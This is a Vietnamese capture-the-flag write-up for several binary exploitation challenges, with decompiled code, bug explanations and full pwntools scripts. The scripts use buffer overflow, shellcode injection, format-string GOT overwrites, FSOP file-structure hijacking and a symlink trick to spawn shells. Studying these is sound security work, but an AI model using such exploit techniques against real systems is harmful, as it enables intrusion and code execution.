
## baby-pwn
bài đầu tiên chỉ là 1 bài warmup thôi
- ```main```

- ```vulnerable_function```
xảy ra ```BOF``` và được tặng thêm địa chỉ hàm ```secret``` ( 1 hàm để lấy flag)

- vậy đơn giản là 1 bài ret2win thôi
script
```cpp
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./baby-pwn')
#p = process()
p = remote('34.162.142.123', 5000)
p.recvuntil(b'secret: ')
secret = int(p.recvline()[:-1],16)
p.sendline(b'a'*0x40 + p64(0) + p64(secret))
p.interactive()
```

----------
# baby-pwn-2
## REVERSE
- bài này cũng là 1 bài warmup , ret2shellcode nên sẽ nói nhanh
đầu tiên in địa chỉ của ```s``` , ```s``` ở đây là 1 biến chứa dữ liệu của ta nhập vào , xảy ra ```BOF``` và NX cũng tắt -> ret2shellcode thôi

### EXPLOIT
script :
```css
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./baby-pwn-2')
p = process()
p = remote('34.162.119.16', 5000)
p.recvuntil(b'Stack address leak: ')
leak = int(p.recvline()[:-1],16)
print(hex(leak))
input()
#shellcode = asm(shellcraft.sh())
payload = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = payload.ljust(0x40,b'\x90')
p.sendlineafter(b'Enter some text: ',payload + p64(0) + p64(leak))
p.interactive()
```

----------------
## echo
### REVERSE
checksec :

bài này nhìn vào thì là 1 bug ```fsb``` đơn giản đúng không? :))) , tuy nhiên ta thấy ở đây ta chỉ được nhập cho ```buf``` đúng 1 byte vì ```canary``` sẽ ở vị trí ```rbp-8``` , may mắn là ```GOT``` vẫn có thể overwrite nên điều kiện cấp thiết nhất sẽ là overwrite ```__stack_chk_fail@plt``` thành ```main``` để tạo 1 loop

lúc này thì ta phải tìm kiếm 1 địa chỉ nào đó gần giống với địa chỉ ```got``` ta cần ghi

## EXPLOIT
- 1 điều quan trọng nữa là ở đây ta có thể input tận 0x100 byte và lần ghi đè của ta sẽ thực hiện trước khi ```__stack_chk_fail@GLIBC_2.4``` được gọi nên ta có thể ghi đè ```lsb``` của 1 địa chỉ nào đó khiến cho việc brute_force trở nên ít nhất có thể , và hợp lý nhất có lẽ là ```0x555555555275``` , địa chỉ got là ```0x555555558018``` , vậy ta sẽ overwrite 2 byte cuối

và mỗi lần chạy thì thằng địa chỉ này chỉ random nửa byte -> 4 bit và tỉ lệ sẽ là 2^4 = 1/16


okay phần khó nhất là ở bước này , các bước còn lại thì ta chỉ cần leak libc và ta có thể lựa chọn overwrite GOT hoặc ret2libc tùy thích
ở đây mình sử dụng one_gadget để overwrite ```GOT``` của ```printf```
script
```csharp=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
p = remote('34.29.214.123', 5000)
#gdb.attach(p,gdbscript='''
# brva 0x0000000000001221
# ''')
input()
payload = b'%21065c%9$hn'
payload = payload.ljust(17,b'a')
p.send(payload+ p16(0x8018))
p.send(b'|%25$p|%21$p|')
p.recvuntil(b'|')
main = int(p.recvuntil(b'|')[:-1],16)
exe.address = main - exe.sym.main
libc_leak = int(p.recvuntil(b'|')[:-1],16)
libc.address = libc_leak - 0x2a1ca
system = libc.sym.system
print(hex(main))
print(hex(libc.address))
print(hex(system))
one_gadget = [0x583dc,0x583e3,0xef4ce,0xef52b]
log.info(f'one_gadget1: {hex(libc.address + one_gadget[3])}')
package = {
libc.address+one_gadget[3] & 0xffff: exe.got.printf,
libc.address+one_gadget[3] >> 16 & 0xffff: exe.got.printf+2,
}
order = sorted(package)
payload = f'%{order[0]}c%11$hn'.encode()
payload += f'%{order[1] - order[0]}c%12$hn'.encode()
payload = payload.ljust(33,b'a')
payload += flat(
package[order[0]],
package[order[1]],
)
p.send(payload)
p.send(b'a')
p.interactive()
```python
- vì tỉ lệ khá cao nên mình không cần viết script brute_force

```
-----------
## book Editor
### REVERSE
checksec :

- ở bài này ta thấy có 2 option chính , đầu tiên ta sẽ được nhập 1 size và chương trình sẽ sử dụng size đó để ```malloc``` , tiếp theo ta được nhập dữ liệu vào ```book```
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h]
int Choice; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
printf("How long will your book be: ");
__isoc99_scanf("%ld", &bookSize);
book = malloc(bookSize);
printf("Contents of the book: ");
read(0, book, bookSize);
v4 = 1;
while ( v4 )
{
menu();
Choice = getChoice();
if ( Choice == 3 )
{
v4 = 0;
}
else
{
if ( Choice > 3 )
goto LABEL_10;
if ( Choice == 1 )
{
editBook();
}
else if ( Choice == 2 )
{
readBook();
}
else
{
LABEL_10:
puts("That is not an option");
}
}
}
return 0;
}
```
option 1 : ```edit_book```
ta sẽ được nhập 1 địa chỉ ```4 byte``` và check nó với ```book_size``` , tiếp theo là read vào book+địa chỉ mà ta nhập với số byte là ```-địa chỉ ta nhập + book size -1``` , ở đây ```v1``` là ```unsigned int``` và ta được nhập số âm nên xảy ra bug ```integer overflow```
```C=
unsigned __int64 editBook()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Where do you want to edit: ");
__isoc99_scanf("%d", &v1);
while ( getchar() != 10 )
;
if ( v1 < bookSize )
{
printf("What do you want to edit: ");
printf("%p", (const void *)(-v1 + bookSize - 1));
read(0, (char *)book + v1, -v1 + bookSize - 1);
}
else
{
printf("Please dont edit ouside of the book.");
}
return v2 - __readfsqword(0x28u);
}
```
option 2 : ```readBook```
hàm này chỉ đơn giản là đọc dữ liệu từ ```book```
### EXPLOIT
vậy ta sẽ khai thác bài này như thế nào? đầu tiên ta thấy được chắc chắn là ta sẽ read được 1 số lượng lớn byte vào địa chỉ mà ta nhập , ở đây ta có thể kết hợp thêm 1 trick từ malloc :
```c
printf("How long will your book be: ");
__isoc99_scanf("%ld", &bookSize);
book = malloc(bookSize);
```
nếu ta nhập -1 vào size thì

ta thấy nó sẽ không phân bổ bất kỳ chunk nào , ta có thể tận dụng được điều này để ghi tùy ý và ta có thể nhập dữ liệu vào đó , ở đây suy nghĩ đầu tiên sẽ là overwrite ```ret_address``` và muốn làm điều đó thì trước tiên ta phải leak được stack , và muốn leak được ```stack``` thì phải leak được ```libc_environ```

- ta có thể dễ dàng leak libc bằng cách trên , chỉ cần ghi ```stdout``` vào ```book``` và dùng option2 để in

- lúc này khi đã có libc , lúc này ta sẽ dùng nó để leak địa chỉ stack cho ta bằng cách sử dụng ```FSOP``` , hãy nhớ lại lúc nãy ta đã ghi ```book``` bằng ```stdout``` , vậy bây giờ ta sẽ ghi lại ```book``` bằng ```_IO_2_1_stdin - 8``` , vậy tại sao là -8 ở trường hợp này ? vì lúc này ta cần leak nên ta sẽ cần ghi ```struct_IO_FILE``` của ```STDOUT``` để leak stack và khi có địa chỉ stack thì ta chỉ cần dùng ```ROP``` để ghi vào ```ret_address``` , lúc này giai đoạn cuối là overwrite ```struct_IO_FILE``` của ```STDIN``` để ta có thể thực hiện ghi tùy ý
full script :
```c
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
p = process()
#gdb.attach(p,gdbscript='''
# b*0x000000000040132A
# b*0x00000000004013CD
# b*0x000000000040140F
# ''')
input()
p.sendline(b'-1')
p.sendline(b'1')
#over write book to stdout
p.sendline(str(0x404030))
p.sendline(p64(0x404010))
# leak libc
input()
p.sendline(b'2')
p.recvuntil(b'your book: ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x2045c0
log.info(f'libc.address: {hex(libc.address)}')
input()
p.sendline(b'1')
p.sendline(b'32') # offset from stdout to book
p.sendline(p64(libc.sym._IO_2_1_stdin_ -8 ))
#overwrite fp stdout to leak stack address
input()
p.sendline(b'1')
p.sendline(str(8 + 0xce0).encode())
fp = FileStructure()
fp.write(libc.sym.environ, 0x100)
p.sendline(bytes(fp)[:0x30])
p.recvuntil(b'0xfffff221')
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'{hex(stack_leak) = }')
#over write fp stdin to read
input('last input')
p.sendline(b'1')
p.sendline(str(8+0x38))
p.send(p64(stack_leak-0x150) + p64(stack_leak-0x150+0x100))
input('last input1')
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(rop.chain())
p.interactive()
p.interactive()
```
## Cách 2
- cách 2 cũng sẽ sử dụng ```FSOP``` , ở đây nó sẽ fake ```vtable``` bằng ```_IO_wfile_jumps``` , bước đầu tiên tương tự cách 1 là leak libc bằng cách ghi ```book``` bằng ```got_printf``` , tiếp theo tương tự ta sẽ ghi lại ```book``` bằng ```libc_base``` , cuối cùng ta sẽ tính toán offset giữa ```libc_base``` và ```_IO_2_1_stdout``` , lúc này ta sẽ fake vtable , cách này là 1 kĩ thuật nâng cao mình đọc vẫn chưa hiểu lắm nên có lẽ cần tìm hiểu thêm
script :
```C
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
p = process()
gdb.attach(p,gdbscript='''
b*0x000000000040132A
b*0x00000000004013CD
b*0x000000000040140F
''')
input()
p.sendline(b'-1')
p.sendline(b'1')
p.sendline(str(exe.sym.book))
p.send(p64(exe.got.printf))
input()
p.sendline(b'2')
p.recvuntil(b'your book: ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym.printf
log.info(f'libc.address: {hex(libc.address)}')
input()
p.sendline(b'1')
p.sendline(str(exe.sym.book - exe.got.printf)) # offset from stdout to book
p.send(p64(libc.address))
input()
p.sendline(b'1')
stdout_lock = libc.address + 0x205710
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx
fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system'] # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00') # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200 # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
# write the fake Filestructure to stdout
p.sendline(str(libc.sym._IO_2_1_stdout_ - libc.address))
p.send(bytes(fake))
p.interactive()
```
ref :
https://niftic.ca/posts/fsop/#__libio_codecvt_length207
https://blog.kylebot.net/2022/10/22/angry-FSROP/
https://github.com/fyrepaw13/ctf_writeups/blob/main/WGMY2024/README.md#pwnscreenwriter
------------------
## sort
### reverse
checksec :

- đây là hàm chính của bài , ta sẽ cùng phân tích nó
đầu tiên ta thấy nó sẽ ```malloc(0x200)``` để phân bổ động 1 vùng nhớ ở heap và ta cũng sẽ được ```read``` 0x200 byte vào
```C
void sort()
{
_BYTE *v0; // rax
unsigned __int8 *v1; // rax
int i; // [rsp+Ch] [rbp-134h]
int c; // [rsp+10h] [rbp-130h]
int j; // [rsp+14h] [rbp-12Ch]
int v5; // [rsp+18h] [rbp-128h]
int v6; // [rsp+1Ch] [rbp-124h]
_QWORD *v7; // [rsp+20h] [rbp-120h]
char *buf; // [rsp+28h] [rbp-118h]
_QWORD v9[34]; // [rsp+30h] [rbp-110h] BYREF
v9[33] = __readfsqword(0x28u);
memset(v9, 0, 256);
v7 = v9;
buf = (char *)malloc(0x200uLL);
v5 = read(0, buf, 0x200uLL);
for ( i = 0; i < v5; ++i )
{
v0 = (char *)v9 + buf[i];
++*v0;
}
free(buf);
for ( c = 0; c <= 255; ++c )
{
v1 = (unsigned __int8 *)v7;
v7 = (_QWORD *)((char *)v7 + 1);
v6 = *v1;
for ( j = 0; j < v6; ++j )
putchar(c);
}
}
```
vì khá ngắn nên ta sẽ phân tích từng đoạn :
ta thấy đoạn này sẽ lặp qua các kí tự của input ta nhập vào , có nghĩa là nó sẽ dùng để đếm số lần trong kí tự
```
lenght = read(0, buf, 0x200uLL);
for ( i = 0; i < lenght; ++i )
{
v0 = (char *)v9 + buf[i];
++*v0;
}
```
vd : ABCDD thì v9[A] = 1 .... v9[D] = 2
- ta đến với đoạn tiếp theo , ở đây nó sẽ loop 256 lần , gán địa chỉ mà v7 đang giữ ```ép kiểu unsigned __int8 ``` cho v1 , sau đó nó tăng địa chỉ v7 đang trỏ lên v1 (có nghĩa là v9) , gán giá trị của v1 cho 6 (giá trị của v9[c]) , nói tóm lại là nó sẽ in các kí tự từ thấp đến cao với số lần xuất hiện của nó
vd : input : bbbaaaccccddd thì output sẽ là aabbbbccccddd
```C
free(buf);
for ( c = 0; c <= 255; ++c )
{
v1 = (unsigned __int8 *)v7;
v7 = (_QWORD *)((char *)v7 + 1);
v6 = *v1;
for ( j = 0; j < v6; ++j )
putchar(c);
}
}
```
ta có thể thử nhập :

### EXPLOIT
vậy bug sẽ xuất hiện ở đâu , ở đây ta cần để ý

lệnh movsxd sẽ là 1 lệnh mov có dấu , và có nghĩa là v0 = (char *)v9 + buf[i] , nếu buf[i] = 0x80 -> 0xff thì nó sẽ trở thành ```v0 = (char *)v9 - buf[i]``` -> sẽ có bug ```oob``` ở đây , và điều này có thể ghi đè được bất kì địa chỉ nào trong phạm vi
xem ở : https://www.felixcloutier.com/x86/movsx:movsxd
- và tất nhiên target sẽ là ghi đè ```main``` để get_shell , ta thấy con trỏ đến main là ```0x7fffffffd858``` và v9 là ```0x7fffffffd740```

- trước hết thì ta cần leak địa chỉ trước , vậy ta sẽ ghi ```main``` bằng ```sort```
--------------------
racing
------------------
source :
```C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{
if (setuid(0) != 0)
{
perror("Error setting UID");
return EXIT_FAILURE;
}
char *fn = "/home/user/permitted";
char buffer[128];
char f[128];
FILE *fp;
if (!access(fn, R_OK))
{
printf("Enter file to read: ");
fgets(f, sizeof(f), stdin);
f[strcspn(f, "\n")] = 0;
if (strstr(f, "flag") != NULL)
{
printf("Can't read the 'flag' file.\n");
return 1;
}
if (strlen(f) == 0)
{
fp = fopen(fn, "r");
}
else
{
fp = fopen(f, "r");
}
fread(buffer, sizeof(char), sizeof(buffer) - 1, fp);
fclose(fp);
printf("%s\n", buffer);
return 0;
}
else
{
printf("Cannot read file.\n");
return 1;
}
}
```
- logic rất đơn giản , đầu tiên nó setuild(0) -> setup với quyền root cho ta , tiếp theo check ```/home/user/permitted``` có được tạo với quyền ```read``` không?
- lần check tiếp theo là check chuỗi ta nhập có chuỗi "flag" không , nếu nó thì end
- vậy bài này đơn giản là 1 bài tạo symbolic link từ ```/home/user/permitted``` đến /flag.txt và không cần nhập gì , flag sẽ in ra
vì build docker lâu quá nên thôi mình để các bước ở đây :
```touch permitted``` -> ```/home/user/permitted``` -> ```cd /challenge``` -> ```./challenge``` và không nhập gì và ta có flag